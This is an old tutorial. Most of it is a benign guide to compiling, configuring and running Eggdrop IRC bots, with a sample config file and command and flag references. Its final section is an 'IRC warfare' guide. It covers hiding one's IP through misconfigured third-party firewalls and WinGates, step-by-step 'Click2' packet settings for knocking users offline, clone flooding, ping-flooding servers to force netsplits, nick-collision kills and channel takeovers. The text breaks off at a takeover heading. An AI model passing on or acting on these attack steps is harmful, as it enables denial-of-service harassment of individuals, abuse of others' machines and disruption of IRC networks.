About 500k of disk space, or more, depending on your system (on Linux, the executable takes up about 400k currently -- it will be a lot larger on a RISC system) 

The TCL libraries (lib files), which can be found at www.linuxberg.com <http://www.linuxberg.com> 

If you want your bot to be 24/7 (24 hours a day, 7 days in a week) you need a shell account on a computer with a 24/7 Internet connection (unless you yourself have such a computer... in which case, you must give me an unrestricted shell account before you proceed reading this document... kidding :-) ). You can get such shells by either buying them or kissing up to the admin and making him give you one for free (none of those "free shell account providers" will let you run an Eggdrop bot, because they kill all of your processes, including the bot, once you log out). There are lots of good shell providers out there. I personally recommand www.foonet.net.

Now to the TCL part:
Before you can compile eggdrop, you need to have TCL installed on your system. Most systems should already have TCL on them by now -- you can check by trying the command "tclsh". If it works, you will be given a "%" prompt, and you can type "exit" to exit the program. This means your system has TCL installed. If tclsh doesn't work, it probably means that you don't have TCL, and you will need to download and install it. The best FTP site to download TCL from is: <ftp://ftp.scriptics.com/pub/tcl>
The best version at the moment this paper has been written is 8.0.4 (as recommended by dw@Undernet). Versions such as 7.6p2 are still good enough to use though.

Note: I won't explain how to download files from FTP sites on this tutorial, nor how to install the TCL library. There are enough tutorials and documents on this subject already.

If you bought a shell and you know they allow running IRC bots from it (such an important piece of information should be written somewhere on the shell provider's website), you can be completely sure that they already got the TCL library.

Before you begin, ask yourself if you really need a bot. Most IRC servers allow only a handful of bots -- some forbid them outright. The reason? Too many people run bots as "toys" or as a means of destruction. If you want to use eggdrop for destructive purposes, go ahead and erase this directory now. It's almost impossible to do what you want with this bot.

You should try to find at least one server that will allow you to run a bot. If you use an ISP (Internet Service Provider) that runs its own IRC server, check to make sure that bots are okay. If you're going to use a server somewhere else, read the MOTD (Message Of The Day) and find out what their bot policy is. Following the rules will go a long way toward making your bot accepted.

Generally speaking, you only need a bot on EFnet if your channel has a constant supply of users (24 hours a day) and no bot. If your channel already has a couple of bots on it, it probably doesn't need any more. More bots don't do any more good, and just waste bandwidth. On the Undernet you will probably never need more than one bot per channel. Also note that it's generally not acceptable to use a bot to "keep a channel open" when it's not in use. However, policies differ from net to net and server to server so check around before starting. You need multiple bots if you got an extremely large channel.

Bots CANNOT provide absolute protection. Nothing can. Eggdrop will try its hardest but there are no guarantees.

--[ Where can I get it? ]--
Eggdrop can be downloaded from various sites across the world. Here are some:

The official eggdrop FTP site: ftp.eggheads.org <ftp://ftp.eggheads.org>.

Current mirrors are:

ftp.de.eggheads.org <ftp://ftp.de.eggheads.org>
ftp.fr.eggheads.org <ftp://ftp.fr.eggheads.org>
I also recommand the site ftp.apolloweb.net <ftp://ftp.apolloweb.net> (Dir: /pub/files/) since it is extremely fast. (Sometimes when you download Eggdrop FROM a shell using this site you can reach 100K-170K per second, because shell accounts normally have quite a fast connection)

Also, there are 3 major versions of EggDrop: 1.1.5, 1.3.X, 2.0

First of all, 2.00 SUCKS. It lacks some help/text files, it's compilation can be hard and it got almost no different from 1.3.X

EggDrop 1.1.5 claims to be the most stable one, but most of the TCL scripts (See below) are coded for 1.3.X, hence I recommand using 1.3.X. All the information in this tutorial from now on will regard EggDrop1.3.X.

--[ How do I set up the bot? ]--
Ok...

First of all, login to your shell and download EggDrop using FTP. (You can also upload it using FTP but downloading it through the shell is usually much faster)

Now type these commands:

gunzip eggdrop1.3.27.tar.gz

tar xf eggdrop1.3.27.tar

cd eggdrop1.3.27

./configure

Ok

eggdrop1.3.27 refers to the bot filename. It depends on the site and the eggdrop version you downloaded. It can also be, for example, eggdrop1.3.23.tgz. Then you'll need to type:

gunzip eggdrop1.3.23.tgz

tar xf eggdrop1.3.23.tar

cd eggdrop1.3.23

./configure

After you type the ./configure you will need to wait. This will check whether you can run EggDrop on this system or not. If it finishes with no error you need to type

make

This will build the EggDrop package. If this is done with NO errors (E.G. it gets to the linking part) you can now start building the config file. The config file is a set of lines that defines what will be the bot nick, server and so on...

Here is an example of an easy-to-use config file. You need to copy everything from '### Start ###' to '### End ###' into a file and then upload it to the shell with a name like bot.conf or eggie.conf or whatever you like :-)

#######################

### Start ###

#######################

### Edit from here: ###

#######################

# Bot's IDENT

set username "Bot"

# Bot's Owner(s)/Master(s)

set admin "^TCG^"

# Bot's IRC network

set network "EFNet"

# The telnet port that the bot will open for incoming connections

listen 2000 all

# Bot's Owner(s)/Master(s)

set owner "^TCG^"

# Bot's NickName

set nick "Bot"

# Bot's Alternative nickname

set altnick "-Bot"

# Bot's Real Name

set realname "Eggdrop Bot"

# The bot static channel. you can only specify 1 channel here.

set confchan "#Bots"

# The bot IRC servers

set servers {

irc.freei.net

} 

##################################################################

##################################################################

###### !!! You don't need to change anything from here !!! #######

##################################################################

##################################################################

set timezone "EST"

set max-logs 5

set log-time 1

set keep-all-logs 0

set console "mkcobxs"

logfile mkco * "$nick.log"

set userfile "$nick.user"

set sort-users 0

set help-path "help/"

set temp-path "/tmp/"

set motd "motd"

set protect-telnet 0

set dcc-sanitycheck 0

set ident-timeout 30

set require-p 1

set open-telnets 0

set connect-timeout 15

set dcc-flood-thr 3

set telnet-flood 5:5

set resolve-timeout 15

set ignore-time 15

set debug-output 0

set hourly-updates 00

set notify-newusers "HQ"

set default-flags "fv"

set whois-fields "url"

set remote-boots 2

set share-unlinks 1

set die-on-sighup 0

set die-on-sigterm 0

#unbind dcc n tcl *dcc:tcl

#unbind dcc n set *dcc:set

unbind dcc n simul *dcc:simul

set max-dcc 50

set enable-simul 1

set allow-dk-cmds 1

set mod-path "./"

loadmodule channels

set chanfile "$nick.chan"

set ban-time 10

channel add $confchan {

chanmode "+nt"

idle-kick 0

flood-chan 4:6

}

channel set $confchan -clearbans -enforcebans +dynamicbans +userbans -autoop -bitch -greet +protectops -statuslog -stopnethack -revenge +autovoice -secret -shared -cycle

set share-greet 0

set use-info 1

loadmodule server

set keep-nick 1

set strict-host 0

set quiet-reject 1

set lowercase-ctcp 0

set answer-ctcp 3

set flood-msg 5:5

set flood-ctcp 3:5

set never-give-up 1

set strict-servernames 0

set default-port 6667

set server-cycle-wait 60

set server-timeout 15

set servlimit 0

set check-stoned 1

set use-console-r 0

set serverror-quit 1

set max-queue-msg 300

set trigger-on-ignore 0

set use-silence 0

set handle-mode_r 0

loadmodule ctcp

loadmodule irc

set bounce-bans 0

set allow_desync 1

set kick-method 1

set kick-bogus 1

set learn-users 1

set wait-split 300

set wait-info 180

set modes-per-line 3

set mode-buf-length 200

set use-354 0

#unbind msg - ident *msg:ident

set no-chanrec-info 0

loadmodule transfer

set max-dloads 3

set dcc-block 0

set copy-to-tmp 1

set xfer-timeout 300

loadmodule share

set resync-time 900

#set private-owner 0

#set private-global 0

#set private-globals "mnot"

#set private-user 0

#loadmodule filesys

set files-path "/home/mydir/filesys"

set incoming-path "/home/mydir/filesys/incoming"

set upload-to-pwd 0

set filedb-path ""

set max-file-users 20

set max-filesize 1024

loadmodule notes

set max-notes 50

set note-life 60

set allow-fwd 0

set notify-users 1

set console-autosave 1

set force-channel 0

set info-party 0

loadmodule seen

checkmodule blowfish

#loadmodule assoc

source scripts/alltools.tcl

source scripts/action.fix.tcl

source scripts/userinfo1.0.tcl

loadhelp userinfo.help

#######################

### End ###

#######################

OK!

After editing the first lines of the file, you can upload it to the shell. The file MUST be in the bot's directory (E.G. ./eggdrop1.3.27/)

Now you need to run it. Since this is the first time you run it you need to type in the bot's directory:

./eggdrop -m bot.conf

while bot.conf is your config filename.

Note: Next time you will run the bot (if it goes down, for example) you don't need the '-m'

Now start an IRC client to connect to the bot's server, join it's channel and wait for it to come in. When you see the bot message it with 'hello'(/msg BotNick hello. You need to replace the word BotNick with the bot's nickname). Then it will tell you to set a password. You do that by messaging it with 'pass password' (/msg BotNick pass mypassword). Replace the word mypassword with your password, whatever it is (for example: if your password is IRC, you need to do /msg BotNick pass IRC)

--[ Basic commands ]--
Most commands are sent to the bot via DCC chat. First of all you need to DCC CHAT with the bot, then enter your password and now you will be able to start sending it some commands.

After you DCC it, you can start sending in commands. All the commands on the DCC chat are started with a '.' (dot).

Note I: Some commands requires diffrent access levels. I will explain about them later.

Note II: If you will get some "Unknown command" message it probably means that your access level is simply too low.

A parameter in a <> is not an option, and in a [] is an option.

.help [command] - Shows you the help screen. Example: .help help 

.bots - Will display a list of connected bots. (Eggdrop can be connected to other bots. This will also be discussed later) 

.status - Will display some status stuff about the bot. 

.whois <handle> - Will give you info about <handle>. Example: .whois ^TCG^ 

.jump <server> - Will connect the bot to a specific server. Example: .jump irc.israel.net 

.+user <handle> <hostmask> - Will add a user to the bot. Example: .+user ^TCG^ ^TCG^!talrun@*.il 

.-user <handle> - Will remove a user from the bot. Example: .-user ^TCG^ 

.+host <handle> <hostmask> - Will add <hostmask> to <handle>. Example: .+host ^TCG^ *!*@*.israel.net 

.-host <handle> <hostmask> - Will remove <hostmask> to <handle>. Example: .-host ^TCG^ *!*@*.israel.net 

.+chan <#Channel> - Will make the bot join <#Channel>. Example: .+chan #Israel 

.-chan <#Channel> - Will make the bot part <#Channel>. Example: .-chan #Israel 

.chanset <#Channel> <Setting> [Value] - Will set a specific attribute of the channel (See later). Example: .chanset 

#Israel +autoop or Example 2: .chanset #Israel flood-chan 5:60 

.chattr <handle> <flags> [Channel] - Will give <handle> the global flags <flags> or [Channel] flags. Example: .chattr ^TCG^ +o Example 2: .chattr ^TCG^ +f #Israel 

.die [Reason] - Will kill the bot 

.save - Will make the bot save it's database (This is also done automatically) 

.rehash - Will force the bot to reload it's config file 

.reload - Will cause the bot to reload it's channel file 

.restart - Will restart the bot 

.+bot <bot> <host:port> - Will add a bot to the bot's database for creating a botnet (See later). Example: .+bot Eggie the-shell.com:4556 

.-bot <bot> Will remove <bot> from the database 

.botattr <bot> <flags> - Just like .chattr but for bots 

.link <bot> - Will cause your bot to link <bot> 

.unlink <bot> - Will force the bot to break the link with <bot> 

.chpass [nick] <pass> - Will change your pass or [nick]'s pass if you got access to change other users passwords. 

.nick <newnick> - Change your nick on the partyline. (See below) 

.op <nickname> <channel> - Will OP <nickname> at <channel>. Example: .op ^TCG^ #Israel 

.voice <nickname> <channel> - Will VOICE <nickname> at <channel>. Example: .voice ^TCG^ #Israel 

This is all for now.... More commands in the next chapters (or in the EggDrop documentations, whichever you choose to read)

Another nice feature Eggdrop has is partyline.

It allows multiple users to DCC chat with the bot and create a small IRC network.

To say something, all you need to do is to just type it in and press enter.

If it doesn't start with a '.' (dot) it will be said in the partyline and all the other bot users will see it.

--[ Users stuff ]--
Sometimes you want to add users to your bot so they'll have access to it. Here I will describe how to add users and how to setup they`re access.

To add a user:

.+user <handle> <hostmask>

<handle> is the user name of the user. It's just like the user's nickname but it is limited to 9 letters.

<hostmask> is the host that the user will use so the bot will recognize it. You can always add and remove hostmasks using the .+host and the .-host in the partyline.

After it you need to set the user's global access. To do that you type .chattr <handle> <flags>

<handle> is the handle that you wrote in the .+user and <flags> are the user flags. They will set it's access. Here is a list of them.

o global op (bot will op this user on any channel) 

m master (user is a bot master) 

n owner (user is the bot owner) 

t botnet master (user is a botnet master) 

x xfer (user has file-area access) 

j janitor (user is a file-area master) 

p party-line (user has party-line access) 

c common (user record is a common-access site) [see 'help common'] 

u unshared (not sent to other share-bots) 

b bot (user is another bot) 

d global deop (user cannot get ops) 

k global auto-kick (user kick & banned automatically) 

f global friend 

v global voice (user get +v automatically on +autovoice channels) 

a global auto-op (always op this user on join) 

h high-light flag, user sees highlighting in text output 

(plus 26 user-defined flags, A-Z) 

each channel that the user has joined will have a specific record

for it, with the channel-specific flags and possibly an info

line. the channel-specific flags are:

m master (user is a master for the channel)

n owner (user is an owner for the channel)

o op (bot will give this user chanop)

d deop (bot will not allow this user to become a chanop)

f friend (user is not punished for doing bad things)

k kick (user is auto-kicked)

v global voice (user get +v automatically on +autovoice channels)

q global quiet (user never gets +v on +autovoice channels)

a global auto-op (always op this user on join)

(plus 26 user-defined flags, A-Z) 

Here is an example that show you how to add a bot global op and also give the user +n (owner) at #Israel:

.+user ^TCG^ ^TCG^!*@*.co.il 

.chattr ^TCG^ +o 

.chattr ^TCG^ +n #Israel

After this, you need the user to set a password. He does this by messaging the bot with 'PASS passeord' (Without the ').

/msg Bot pass blabla

Thats it.... you added him!

Now... If you would like to remove him you need to type: .-user <handle> and it will delete him.

--[ Channels stuff ]--
This section is related to channel matters.

To join a bot into a channel you type in the DCC chat to him:

.+chan #Channel 

That will make him join #Channel

.-chan #Channel 

To set someone as a channel owner do: .chattr NickName +n #Channel

If you would like to gather some info on a channel type:

.chaninfo #Channel

To set various channel options, like maximum messages per second or maximum deops per second.

To set something type: .chanset #Channel setting value

Available settings:

flood-chan (number:seconds)

how many channel messages in hom many seconds is a flood

not specifying or using number = 0 will not check chan floods! 

flood-ctcp (number:seconds)

how many channel messages in hom many seconds is a flood

not specifying or using number = 0 will not check ctcp floods! 

flood-deop (number:seconds)

how many deops in how many seconds is a mass de-op

not specifying or using number = 0 will not check de-op floods! 

flood-kick (number:seconds)

how many kicks in how many seconds is a mass kick?

not specifying or using number = 0 will not check mass kicks! 

flood-join (number:seconds)

how many joins/nick changes in how many seconds is a join flood?

not specifying or using number = 0 will not check join floods! 

The value format is usually how much time:how many seconds.

For example, if you would like to kick anyone that deop 3 users in 10 seconds in #Channel you will do:

.chanset #Channel flood-deop 3:10

You can also set channel options by doing .chanset #Channel +/-option 

Available options:

clearbans 

clear all channel bans when the bot joins? (ie, force the channel's

ban list to match the bot's internal list) 

enforcebans
when a ban is set, kick people who are on the channel and match the

new ban? (ie, they were on the channel before the ban) 

dynamicbans
only activate bans on the channel when necessary? (this keeps the

channel's ban list from getting excessively long. the bot still remem-

bers every ban, but it only activates a ban on the channel when it sees

someone join who matches that ban.) 

userbans
allow bans to be made by users directly? (if turned off, the bot will

require all bans to be made through the bot's console) 

autoop
op users with the +o (op) flag as soon as they join the channel?

(hint: this is a BAD IDEA) 

bitch
only let users with +o (op) flag be channel ops? 

greet
say a user's info line when they join the channel? 

protectops
re-op a user with the +o (op) flag if they get deopped? 

statuslog
log the channel status line every 5 minutes? (some people think

it's annoying) 

stopnethack
de-op someone that enters the channel with server ops (ie, netsplit

ops) when they didn't have them before the split? 

revenge
remember people who deop/kick/ban the bot or valid ops, and punish them?

users with +f (friend) flag are exempt from revenge 

autovoice
voice users with +v (voice) flag when they join the channel? 

secret
prevent this channel from being listed on the botnet? (for paranoid

people) 

shared
share user channel info for this channel? 

cycle
cycle the channel when it becomes op-less? 

dontkickops
do you want the bot not to be able to kick +o flag users ?

letting them kick-flood for instance, to protect the channel agaisnt

clone attacks 

seen
respond to seen requests in the channel? (seen module must be loaded) 

For example: .chanset #Channel +autoop +autovoice 

--[ Linking up bots ]--
Bots can be connected together, to allow users on all the linked bots to chat in one large partyline.

Here is how you link them up:

First, you need to know their hosts and ports. To get the hosts, you /whois the bot while he is on IRC. To get the telnet port, you type in the bot .dccstat (Note: Every bot must have a diffrent host / port)

Here is an example of what you get after typing .dccstat:

SOCK
ADDR
PORT
NICK
HOST
TYPE


3
C7CB1589
2000
(telnet)
*
lstn


5
00000000
6667
(server)
er.irc.israel.net
serv (lag: 0)


7
C0725278
1469
^TCG^
tadmin.israel.net
chat flags: cPtEp/0


The port is the port that is near the nick (telnet). The port 2000.

II. TERMS USED
The following are some common terms used in this document.

If applicable, there is also the associated command named.

Botnet
The term used to describe multiple bots connected together. 

Link
The term that means the actual linking of one bot; commands: ".link <botname>" ".unlink <botname>" 

Hub
A bot is described as a hub-bot, if one or more leafs are linking

to him. 

Leaf
A leaf is a bot connecting to an other bot. 

Share
The term used to describe two bots sharing user records. 

Aggressive Share
Term used to describe the method of sharing user-files. Aggressive

share bots will send user data to another bot. 

Passive Share
Term used to describe the method of sharing user-files. Passive

share bots will only receive users from an other bot. 

Flags
Flags are attributes that determine what a bot can or is allowed

to do. Flags can be either global (+s) or channel specific (|+s #lamest).

Botnet affecting flags are: 

s share (user records will be shared aggressively with this bot) 

p share (user records will be shared passively with this bot) 

g global share (share all channels) 

h hub (bot is auto-linked) 

a alternate (bot is auto-linked if the hub bot can't be linked) 

l leaf (bot is not allowed to link in other bots) 

r reject (bot will not be allowed on the net) 

i isolate (isolate the party line across a botlink) 

0-9 user (user defined flags) 

command: ".botattr <botname> [(.+<flag> [#channel]) or (.-<flag> [#channel])]" 

Address
The physical address, containing the host and port address of the bot.

i.e. lame.org:3333; command: ".chaddr <botname> <hostaddress:botport[/userport]>" 

Relay
The relay port number of the bot if defined in the config file.

Note that you can define one for telnet connections to other bots

and one for relay connections. 

Relay connection
A relay connection is used to relay (jump) to another bot in DCC chat.

You can still relay to another bot even if this is not defined in the

conf file.; command: ".relay <botname>" 

Port
The telnet port is used by the bot to communicate with other bots and/or

users. Note that you can define two separate ports for user and bot

connections. 

III. WHAT IS A BOTNET FOR?
Basically a botnet is needed if you want to use more then one bot to protect your channel.

Linked Bots can share user records (global or channel specific) between each other or perform script controlled tasks. Such a script can be get-ops (ops each bot in a botnet) or some kind of a prevent-flood stuff. Just take a look at /pub/eggdrop/scripts1.3 on ftp.eggheads.org and you'll find a lot of botnet scripts.

IV. ADDING AND LINKING BOTS
With the common terms out of the way we can start with the process of linking two bots. Before you start you have to know the following:

- What are the domains and ports of the bots.

Let's say there is BotA on lame.org listening to port 3333 and BotB on irc.org listening to port 4444. Now you have to add each Bot to the other's userfile (including hostmask, address and listening port of the other bot). In BotA's console you have to type ".+bot BotB irc.org:4444" (assuming that BotB is in the channel and so the hostmask is grabbed automatically, otherwise you have to add it manually with ".+host") and on BotB's console ".+bot BotA lame.org:3333". At this point you can link them for the first time manually by typing ".link BotA" on BotB's console (or in reverse, of course with BotB ".link BotB" on BotA's console). The bots will give themselves now randomized passwords, which are *not* stored encrypted in the userfile. Now you've generated your

first botnet. Note that you can add and link as much Bots as you want to your botnet.

V USING BOTFLAGS
Botflags are needed to assign special functions and tasks to your bots.

"h" (hub)
If you want your bots to auto-link after getting unlinked or started (due

to a crash or a server reboot) or started, you have to set +h on the bot

you want to link to an other.

Note, you can assign +h only to one bot at a time!

command: ".botattr <botname> +h"

"a" (alternate)
If your leaf's are for some reason not able to link to your hub, they will

start to connect to an other "alternate-hub", which you can define by

setting "+a" on one bot.

Note, you can assign +a only to one bot at a time!

command: ".botattr <botname> +a"

"l" flag (leaf)
This flag assigned to another bot will cause your bot to unlink the other

one, if it tries to link any other bot.

command: ".botattr <botname> +l"

"r" flag (reject)
If you assign this flag to a bot, it won't be tolerated on your botnet and

will be unlinked, if it tries to link to your one or any other bot.

command: ".botattr <botname> +r"

"i" flag (isolate)
Setting this flag to a bot will effect an isolation of the partyline

between your bot(net) and the other bot(net).

command: ".botattr <botname> +i"

"0-9" flag (user)
These 10 flags aren't hardcoded into eggdrop and can be assigned by scripts

or just for fun :-)

command: ".botattr <botname> +(0-9)"

"s" flag (share aggressively)
+s If you set on BotA's console BotB +s then BotA will try to send his

userfile (parts selected by |s and g flags) aggressively to BotB.

command: ".botattr <botname> +s"

|s With this flag you can define channels, which you want your bots
to share.

Note that you can use this flag only on +s bots!

command: ".botattr <botname> |s #lamest"

|+s You can assign the channel for which the bot will acceppt changes to
his userfile from a +p set bot.

command: ".botattr <botname> |+s #lamest"

"p" flag (share passively)
If you set this flag to another bot, your bot will accept changes to his

userfile by the other one (as much as you've allowed with |+s or +g)

command: ".botattr <botname> +p"

"g" flag (global share)
If you set this flag on your +s or +p bot, |s and |+s are getting obsolete.

Every ban and every user on every single channel will be transfered/accepted.

command: ".botattr <botname> +g"

VI MAKE TWO BOTS SHARE USER RECORDS
Before you start preparing your bots for sharing, you have to make sure that you've loaded the transfer, share and filesys module into your bot (look through the conf). You also have to ensure that the channel, which user records should be shared, is set +shared in the conf.

If you've fulfilled all the requirements mentioned above, you can start to prepare your bots.

At first you have to decide which bot should share aggressively (BotA) and which will be passively (BotB) receive the user records. You should type this on your bots console (Note that you can't change botflags for a linked bot, you have to unlink it first):

On BotA:

.botattr BotB +s 

On BotB:

.botattr BotA +p 

Next you have to decide if BotA should share every channel with BotB or if just one specific. If you want him to share the user record globally you have to type the following:

On BotA:

.botattr BotA +g 

On BotB:

.botattr BotA +g 

If you don't want to share all channels with BotB but #lamest you have to set the following:

On BotA:

.botattr BotA |s #lamest 

On BotB:

.botattr BotA |+s #lamest 

You can add as many channels in this way as you like. Note that by sharing user records, you also share automatically bans and ignores (globally or channel specific) with the other bot. Botflags are *not* shared.

Note: Taken from eggdrop1.3.28 documents.

--[ What is the TCL and what does have have to do with EggDrop? ]--
TCL is a programming language that is used to write scripts for EggDrop.

This subject is so big I can write a whole tutorial about it, so instead I'll just write the basics.

To load a TCL script you must add this line to the end of your config file:

source filename.tcl

You can get TCL scripts from: www.egghelp.org, bseen.tclslave.net and xcalibre.net

Those scripts can add more function to eggdrops, like kicking on advertising and suck stuff.

--[ Tips and Tricks ]--
Taken from the Eggdrop1.3.28 documents.

Some little tricks that you may or may not know about...

You can "lock" a user's info line by putting a '@' as the first letter.

They won't be able to change it any more. 

*'.status all' will dump out virtually everything you have configured on

your bot 

TCL has a command 'info body <proc>' that will list the contents of a

proc. 'info args <proc>' shows what you have defined as the parameters

for the proc. 

*You can rename a builtin command by binding over it. To rename '.status'

to '.report', you'd do:

unbind dcc - status *dcc:status

bind dcc m report *dcc:status

The first line removes the builtin binding on '.status', and the second

line binds '.report' to the builtin status function. Other built-in command

examples include:

unbind msg - status *msg:status

bind msg m report *msg:status

and:

unbind fil - share *fil:share

bind fil m link *fil:share 

You can unlink all bots and clear out the botnet info from memory by

using '.unlink *'. It erases all channel assoc's and everything. 

You can automagically make a ban sticky by adding a * as the first

character in the ban reason. 

You can add a user with a static hostmask when using .adduser by prefixing

their nick by !.

ie with a hostmask of drummer!ident@some.host.com

.adduser drummer

uses *!ident@*.host.com

.adduser !drummer

uses *!ident@some.host.com 

--[ Bibliography ]--
Eggdrop1.3.28 Documents

Personal knowledge

             PART C(MIRC COMMANDS)
[How to spoof / hide your identity on the IRC] 

After seeing what users can find out about you, it is time to learn how to hide your identity. 

There is no easy and lame way to do this. Here are the most knows ways: FireWall, WinGate and a Bouncer aka (As Knows As) BNC. 

We will start from the firewall. 

The firewall we are talking about is software that runs on some machine and is used to filter incoming packets (packets that arrive to the machine which is running the firewall) and outgoing packets (packets that are sent from the machine which is running the firewall). Some firewalls are not configured very well and allow anyone to connect to them. The hard part is to find a working one that will allow you to use it to connect through it, and once you are connected, using it so users that will whois you or dns you will see the firewall's IP! If, for example, there is a misconfigured FireWall on the host firewall.someone.com, you can use it in mIRC, for example, by starting the mIRC program (I use the newest version 5.6, go download it at www.mirc.co.uk) and: 

1. Click on the Files menu, then Options. 

2. On the topmost label of the tree where you can see 'Connect', If you see a '+' next to it click it. If you see a '-' go to the next step 

3. Click on the sub-item Firewall (duh...) 

4. Be sure the 'Use SOCKS firewall' checkbox is marked (has an 'X' in it). 

5. In the Hostname field, write the IP / Hostname of the firewall. For example lets use firewall.someone.com 

6. Leave the USER ID and PASSWORD empty, and make sure the port in 1080. 

7. Click OK. 

Now, next time you will type /server ... To connect to the IRC server the connection will be relayed through the firewall, so if someone will whois you he would see something like this: 

:localhost 311 ^TCG^ ^TCG^ ~TCG firewall.someone.com * :The Cyber God 

:localhost 312 ^TCG^ ^TCG^ localhost :test server 

:localhost 317 ^TCG^ ^TCG^ 9 932030074 :seconds idle, signon time 

:localhost 318 ^TCG^ ^TCG^ :End of /WHOIS list. 

You can see that my host is NO LONGER thegod.actcom.co.il, instead it is now firewall.someone.com!! 

Now I am protected. You might be asking right now where to get the firewalls hosts. One idea is go asking your friends. Other is going to Altavista (www.altavista.com) and searching for "firewall AND list" and stuff like that. 

Another way of spoofing your IP is a WinGate. WinGate is software for Windows that is used to let several computers that are connected through a local network of some sort to use one computer's Internet access. It also allows you to fake your IP _EXACTLY_ the same way. After installing WinGate, anyone will be able to use it if you don't configure it well (I personally recommend using SyGate instead). To find Wingate addresses you can ask your friends, run a Wingate scanner that will scan whole subnets for Wingates or look for lists on the web. 

Note: newer versions of the IRC daemons will automatically check for an open Wingate or a firewall, and if they will detect one they will kill your session and might even K-Line (Ban the host from using the server/network) the host as well. 

Now, on to the Bouncer (aka BNC) spoofing. 

Bouncer is software that runs on Unix computers. If, for example, there is a BNC on bnc.shell.com on port 1234, you can connect to it by typing: /server bnc.shell.com 1234 

After that you should be getting something like this: 

-BNC- Please type your password via /quote pass 

Crap... You need a password. If you know the password you have no problem. Just type '/qoute pass password' (without the quotes), and replace 'password' is your password. 

If you don't know the password you need to ask the guy that gave you the BNC (or you could always hack the server... ;) but this tutorial is about IRC warfare, not hacking servers and getting passwords). You should also ask him if it (the BNC) has vhosts. Vhosts are multiple IPs and hostnames for the same BNC. If it has vhosts, you can set your active host by typing '/quote vip the.host.name.here' (as you should be able to figure by now, it is done without the quotes). 

After this you type '/conn server'. For example /conn irc.dal.net will connect you to irc.dal.net with the bouncer's host. 

Note: unlike firewalls and badly configured Wingates, the server cannot detect a BNC, so there is no chance you will be banned for using it. 

[I don't like your nickname... / Getting a user off the IRC] 

The easiest way to get a user off the IRC is using a program called "Click2" for Windows. 

If might not always work and it is considered extremely lame, but it might work sometimes. 

After you got this program, do the following: 

1. Set the "Packets to:" option box to "Clinet" 

2. In the Server textbox fill-in the TARGET server. You can figure it out by doing a /whois or a /dns on the target's nickname. 

3. In the Client textbox fill-in the TARGET IP address. You can also figure this by doing a /whois or /dns on him but if he uses any spoofing technique like a BNC or a Wingate it won't harm him even a bit (it may harm the Wingate / Firewall / BNC, though). 

4. Be sure that you set it to send 64 packets every 1000ms in the 2 textboxes at the end of the window. 

5. The client start port should be 1024 and the stop 1500. 

6. Now hit nuke.... 

This is what you will see if it worked and you were in a channel, and the target in also in this channel: 

*** Quits: ^TCG^ (Connection reset by peer) 

(Or something likes this) 

The target should see something like this: 

*** [10053] Software caused connection abort 

If it is not working, you won't see anything and he won't either. If he is running some packet-logger that logs ICMP packets he will see your IP but most users do not run these. 

Another lame way is to try winnuking the address. I won't explain here how to do it and what winnuke is because it has nothing to do with this tutorial (see R a v e N's DoS tutorial for Winnuke information, as well as information on more sophisticated attacks). 

Here is a more complex way. 

You will need a flood program like "Floods". (Ask me if you want it) 

After running it or any other flooding script that is based on clone loading you connect the clones to the target IRC server. (~6 clones should do the job) 

Before we continue, I want to explain you how this works. 

Each user on the IRC got something called SendQ and RecvQ. They contain the data the user is sending / receiving. 

They also have a maximum value. If this value is achieved, the server will automatically close their connection. 

Flood programs and flood scripts load clones (computer-operated IRC "users") and start sending lot of crap to the target nick, causing his RecvQ to fill up and he should get disconnected :). 

So after you launched the program, you start flooding. I can't tell you exactly how because there are lot of programs and I can't explain you how every one works, but I can help you via my e-mail: talrun@actcom.co.il 

There are also more advanced programs that support clone loading through firewalls and Wingates. When a user loses his connection to the IRC because of such an attack, everyone on every channel he was present on will see the following: 

*** Quits: ^TCG^ (Excess Flood) 

Another way of disconnecting a user from the IRC is exploiting a bug in his OS. You need to determine his OS and start this attack on him. There are lots of different types of attacks. To learn about them, read R a v e N's DoS tutorial. 

[Can I get caught and will I?] 

First of all, it depends on what you are going to do or already did. 

When you are going to take over a channel for example, if you are doing it without hiding your identity first (See previous chapter) you can get caught but nothing will probably happen to you. You might receive a DoS attack that can terminate your IRC session or lag you like hell. If you are using a bouncer for example, you won't get caught for this. But if you "click" someone and he logs the packets he can e-mail your ISP with your IP and they might kill your account. 

If you are killing someone with a netsplit (See next chapter) you won't get caught and nothing will happens to you since you haven't done anything illegal. 

Also, it is good to know as much as possible about your target. If you see some one that is named 'Ass^Hole' for example, you have no good reason to go packet him or flood him. He might have access to an OC3 or a DS-3 line (Extremely fast connections to the Internet) and he might also detect your attacks and start flooding you in return. Trust me, you don't want this to happen. One day my T3 line got ping flooded from an OC3 line and it stopped working for about 30 minutes. Just for your information, OC3 can transfer up to 255Mbit and a T3 can transfer up to 9Mbit (I think). If such a line will flood your computer you don't stand a chance. 

[What are netsplits and how can they help me?] 

Large IRC networks consist of various servers. A NetSplit occurs when a link between one of the servers and the others gets broken because of lag or other reasons. All users that were connected to this channel will be separated from the others as long as the netsplit occurs. 

Therefore, lots of channels become empty, and get closed. When you will join a channel that became empty, or you left only 1 user in the channel and you will cycle it, there is a chance that you will obtain the channel operator status (OP, @). 

On a NetJoin (When the server relink to the entire network again) you might still have the channel operator status. On new servers, you won't get the operator status when the network is in a spilt mode, but if you could find an old server or network you just might get lucky. Breaking a connection between 2 servers by yourself is very difficult. You need to pick 2 servers that are already lagged and start ping-flooding the target server from a fast connection. 

Once a netjoin occurs, it is recommended to have a war script (we'll get to those) that will DeOP everyone on the channel so other OPs won't be able to DeOP you. 

NetSplits can also let you disconnect a user from the IRC. Let's say you want to disconnect a user named 'Lamer'. When a netsplit occurs, there are two different possibilities: 

1) The target user ('Lamer', in our case) was on the server that did the netsplit and has left the IRC network, but will return once a netjoin occurs (shouldn't take a lot of time). 

2) The user is still on the network and has nothing to do with the netsplit. 

If number 1 occurs then all you need to do is connect to the network using his nickname and wait for the netjoin. When the servers will re-link they will see that there are 2 users with the same nickname. Such thing cannot possibly happen, so one user must be killed. The user that was NOT on the network, (which means he was on the splitted server) will probably get killed. If option 2 occurs then all you can do is to put a clone (open another IRC sesssion), connect to the splitted server and change your nick to his nick. When the servers will rejoin there is a small chance that he will get killed, so cross your fingers. :) 

Now, for the 1,000,000$ question: how do I detect a netsplit? You can detect a netsplit if the user(s) quit message is "Server1 Server2". For example: 

Lamar has quit IRC (irc.magic.com irc.freei.net)

                           |             |_Server2

                           |_Server1

This message tells you that there is a split between irc.magic.com and irc.freei.net 

The second server (Server2) is the server that left the net. 

[OLD TRICK Channel Takeovers] 

